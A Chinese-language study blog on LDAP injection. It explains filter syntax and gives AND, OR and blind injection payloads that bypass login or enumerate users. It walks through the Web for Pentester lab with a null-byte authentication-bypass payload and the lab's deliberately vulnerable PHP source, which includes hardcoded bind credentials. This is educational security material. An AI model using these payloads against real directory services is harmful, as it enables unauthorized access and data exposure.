LDAP注入学习小记
0x00 前言
从公司的漏洞手册了解到LDAP注入，于是有了这篇学习博客
0x01 LDAP概述
1.什么是LDAP
LDAP(Lightweight Directory Access Protocol):轻量级目录访问协议，是一种在线目录访问协议。LDAP主要用于目录中资源的搜索和查询，是X.500的一种简便的实现。
简单来说，可以理解为LDAP是某种搜索协议，就像我们熟知的数据库一样，我们利用SQL语句进行查询数据库中的数据。而LDAP也有一套自己的查询语句，来进行查询。
但是LDAP和数据库还是有区别的，LDAP并没有数据库那么复杂，可以将LDAP理解为适合读的数据库，
2.LDAP基本语法
LDAP查询数据是通过过滤器来查询，需要注意的是，在OpenLDAP中，第二个过滤器会被忽略，只有第一个会被执行，那么类似上面的这种注入就可以成功的。
(&(attribute=value)(injected_filter)) (second_filter)
注释符：%00
0x02 LDAP注入
1.and注入
(&(parameter1=value1)(parameter2=value2))
假设这里有一个登录模块，输入用户名和密码后，系统生成过滤器查询数据是否存在
filter:
(&(username=uname)(password=passwd))
我们输入payload:
hacker)(&))
此时的filter为
(&(username=Quan)(&))(password=passwd))
LDAP服务器只查询第一个过滤器，又因为(&(username=hacker)(&))恒为真，所以就可以绕过密码登录系统。
2.or注入
(|(parameter1=value1)(parameter2=value2))
假设有一个系统，现在需要通过选择两种资源来查询
filter格式
(|(type=Rsc1)(type=Rsc2))
可以查询系统中所有打印机和扫描器
利用如下payload可以查询所有打印机和其对应用户
Rsc1=printer)(uid=*)
最终filter:
(|(type=printer)(uid=*))(type=scanner))
只查询filter1
3.blind注入
DAP盲注技术让攻击者使用基于TRUE/FALSE的技术访问所有的信息。
查询正确就返回结果，查询错误则不会返回错误信息
(1)and blind
原本过滤器：
(&(objectClass=printer)(type=Epson*))
查询所有打印机payload:
*)(objectClass=*))(&(objectClass=void
最终filter:
(&(objectclass=*)(objectClass=*))(&(objectClass=void)(type=Epson*))
所以就对第一个过滤器(&(objectclass=*)(objectClass=*))进行查询，恒为真，返回所有打印机图标
也可用*)(objectClass=users))(&(objectClass=foo查询想要的信息
(2)or blind
用于推测想要的信息的逻辑与AND是相反的
原本filter
(|(objectClass=void)(type=Epson*))
payload：
void)(objectClass=users))(&(objectClass=void
查询用户信息
0x03 LDAP靶场练习
这里我们采用web for pentester靶场进行练习。
下载后得到一个镜像，新建虚拟机然后nextnext即可
Example1
删掉username和password参数
这里利用的是LDAP进行匿名访问，原理可参考
于是返回AUTHENTICATED
Example2
构造payload:
name=admin)(cn=*))%00&password=hacker
%00注释掉后面的参数
源码分析:
<?php
require "../header.php" ;
$ld = ldap_connect("localhost") or die("Could not connect to LDAP server");
ldap_set_option($ld, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_set_option($ld, LDAP_OPT_REFERRALS, 0);
if ($ld) {
$lb = @ldap_bind($ld, "cn=admin,dc=pentesterlab,dc=com", "pentesterlab");
if ($lb) {
$pass = "{MD5}".base64_encode(pack("H*",md5($_GET['password'])));
$filter = "(&(cn=".$_GET['name'].")(userPassword=".$pass."))";
if (!($search=@ldap_search($ld, "ou=people,dc=pentesterlab,dc=com", $filter))) {
echo("Unable to search ldap server<br>");
echo("msg:'".ldap_error($ld)."'</br>");
} else {
$number_returned = ldap_count_entries($ld,$search);
$info = ldap_get_entries($ld, $search);
if ($info["count"] < 1) {
//NOK
echo "UNAUTHENTICATED";
}
else {
echo "AUTHENTICATED as";
echo(" ".htmlentities($info[0]['uid'][0]));
}
}
}
}
require "../footer.php" ;
?>
重点看一下filter
$filter = "(&(cn=".$_GET['name'].")(userPassword=".$pass."))";
可以看到用户名的参数名为cn
构造恒为真条件：admin)(cn=*)
再闭合第一个filter：admin)(cn=*)）
最后注释掉密码：admin)(cn=*)%00
此时生成的filter：(&(cn=admin)(cn=*))%00(userPassword=hacker))
只处理(&(cn=admin)(cn=*))，且恒为真，直接绕过密码认证为admin
0x04 漏洞案例
南方周末LDAP匿名访问泄露敏感信息
https://shuimugan.com/bug/view?bug_no=131421
ortiGate FortiOS < 6.0.3 - LDAP Credential Disclosure (CVE-2018-13374)
Joomla! 3.7.5 LDAP injection vulnerability(CVE-2017-14596)
0x05 防御方法
主要是对输入的字符进行转义
0x06 LDAP工具
LDAPbrowser
在测试站点存在LDAP注入后可利用LDAPbrowser查看所有数据。
0x07 参考
https://www.freebuf.com/news/170322.html
https://www.jianshu.com/p/d94673be9ed0
